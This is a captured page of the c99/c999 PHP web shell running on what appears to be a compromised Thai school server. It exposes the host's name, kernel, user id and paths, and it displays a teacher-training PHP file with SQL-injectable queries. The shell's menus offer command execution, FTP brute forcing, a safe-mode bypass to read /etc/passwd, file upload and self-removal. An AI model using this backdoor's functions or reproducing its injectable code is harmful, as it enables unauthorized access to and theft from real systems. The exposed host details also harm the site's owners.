!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/teacher/   drwxr-xr-x
Free 52.66 GB of 127.8 GB (41.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     TrainingMe_bkp.php (8.03 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();

 if (
session_is_registered("valid_user")&&session_is_registered("Priority")&&session_is_registered("password") )
 {
include(
"../include/FunctionDB.php");
include(
"admin_menu.php");
 
ConnectDB();
$Username $valid_user;
$sql "SELECT * FROM personal_tb WHERE Username='$Username'";
$res mysql_query($sql);
$rs mysql_fetch_array($res);
$Teacher_code $rs["Teacher_code"];
$strSQL "SELECT * FROM training_tb";
$result mysql_query($strSQL); 
$num mysql_num_rows($result );
 
$code $rs["Teacher_code"];
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<style type="text/css">
<!--
.style15 {font-size: 14px}
-->
</style>
<table width="791" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td><br><fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="menu_teacher.php " >หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="EditTrainingList.php?Teacher_code=<? echo $rs[Teacher_code?>">แก้ไขข้อมูลการพัฒนา</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="AddTraining.php?Teacher_code=<? echo $rs[Teacher_code?>">เพิ่มข้อมูลการพัฒนา</a><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>">ข้อมูลประวัติประเภทการพัฒนาตนเอง</a></font></legend>
            <label><div align="center">
              <form id="form1" name="form1" method="post" action="">
                <table width="58%" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#FFFFFF" style="background-color:#eeeeee; border:0px solid gray"size="12">
                  <tr>
                    <td height="28" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></td>
                  </tr>
                  <tr>
                    <td height="28" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  
                  <tr>
                    <td height="43" bgcolor="#D1E1F0" ><div align="center">
                      <table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#EEEEEE" style="border:0px solid gray">
                        
                        <tr bgcolor="#CCCCCC">
                          <td width="77%" bgcolor="#EEEEEE" style="border:1px solid gray"><div align="center"><font size="2" face="Tahoma"><strong>ประเภท</strong></font></div></td>
                          <td width="23%" bgcolor="#eeeeee" style="border:1px solid gray"><div align="center"><font color="#000000" size="2" face="Tahoma"><strong>จำนวนครั้ง</strong></font></div></td>
                        </tr>
                        <tr bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FFFFCC'" onmouseout="this.style.backgroundColor='#FFFFFF'" >
                          <td width="77%" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma"><img src="../picture/buddy.gif" width="18" height="17" /></font><font color="#003366" face="Tahoma"><span class="style15"><a href="ShowTrainingMe.php?Training_type=00001" class="d">&nbsp;การอบรม</a></span></font><span class="style15"></strong></span></td>
                          <td width="23%"><div align="center"> <font size="2" face="Tahoma">
                              <?php
     $sql1 
"Select  Count(Training_code) as c1 From training_tb Where Training_type='00001' AND Teacher_code='$code'";
      
$result1 mysql_query($sql1) or die(" Error ".mysql_error());;
      
$rs1 mysql_fetch_array($result1);
      echo
"$rs1[c1]";
    
?>
                          </strong></font></div></td>
                        </tr>
                        <tr onmouseover="this.style.backgroundColor='#FFFFCC'" onmouseout="this.style.backgroundColor='#FFFFFF'" >
                          <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma"><img src="../picture/buddy.gif" width="18" height="17" /></font><span class="style15"><font color="#003366" face="Tahoma"><a href="ShowTrainingMe.php?Training_type=00002" class="d">&nbsp;การศึกษาดูงาน</a></font></span></td>
                          <td bgcolor="#FFFFFF"><div align="center"> <font size="2" face="Tahoma">
                              <?php
     $sql2 
"Select  Count(Training_code) as c2 From training_tb Where Training_type='00002' AND Teacher_code='$code' ";
      
$result2 mysql_query($sql2) or die(" Error ".mysql_error());;
      
$rs2 mysql_fetch_array($result2);
      echo
"$rs2[c2]";
    
?>
                          </strong></font></div></td>
                        </tr>
                        <tr onmouseover="this.style.backgroundColor='#FFFFCC'" onmouseout="this.style.backgroundColor='#FFFFFF'" >
                          <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma"><img src="../picture/buddy.gif" width="18" height="17" />&nbsp;</font></strong><font color="#003366" face="Tahoma"><a href="ShowTrainingMe.php?Training_type=00003" class="d style15">ประชุม</a></font></td>
                          <td bgcolor="#FFFFFF"><div align="center"> <font size="2" face="Tahoma">
                              <?php
     $sql3 
"Select  Count(Training_code) as c3 From training_tb Where Training_type='00003' AND Teacher_code='$code' ";
      
$result3 mysql_query($sql3) or die(" Error ".mysql_error());;
      
$rs3 mysql_fetch_array($result3);
      echo
"$rs3[c3]";
    
?>
                          </strong></font></div></td>
                        </tr>
                        <tr onmouseover="this.style.backgroundColor='#FFFFCC'" onmouseout="this.style.backgroundColor='#FFFFFF'" >
                          <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma"><img src="../picture/buddy.gif" width="18" height="17" /></font><font color="#003366" face="Tahoma"><span class="style15">&nbsp;<a href="ShowTrainingMe.php?Training_type=00004" class="d">สัมมนา</a></span></font></td>
                          <td bgcolor="#FFFFFF"><div align="center"> <font size="2" face="Tahoma">
                              <?php
     $sql4 
"Select  Count(Training_code) as c4 From training_tb Where Training_type='00004' AND Teacher_code='$code' ";
      
$result4 mysql_query($sql4) or die(" Error ".mysql_error());;
      
$rs4 mysql_fetch_array($result4);
      echo
"$rs4[c4]";
    
?>
                          </strong></font></div></td>
                        </tr>
                        
                        <tr onmouseover="this.style.backgroundColor='#FFFFCC'" onmouseout="this.style.backgroundColor='#FFFFFF'" >
                          <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma"><img src="../picture/buddy.gif" width="18" height="17" />&nbsp;</font></strong><span class="style15"><font color="#003366" face="Tahoma"><a href="CommitteeMe.php?Teacher_code=<? echo $rs[Teacher_code?>" class="d">การเป็นวิทยากร</a></font></span></td>
                          <td bgcolor="#FFFFFF"><div align="center"> <font size="2" face="Tahoma">
                              <?php
     $sql5 
"Select  Count(Training_code) as c5 From training_tb Where Training_type='00005' AND Teacher_code='$code' ";
      
$result5 mysql_query($sql5) or die(" Error ".mysql_error());;
      
$rs5 mysql_fetch_array($result5);
      echo
"$rs5[c5]";
    
?>
                          </font></div></td>
                        </tr>
                        <tr bgcolor="#D2F49F" >
                          <td height="25" colspan="2" bgcolor="#FFFFFF"  >&nbsp;</td>
                        </tr>
                      </table>
                    </div></td>
                  </tr>
                </table>
                <br>
              </form>
              </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
        </font></td>
    </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0073 ]--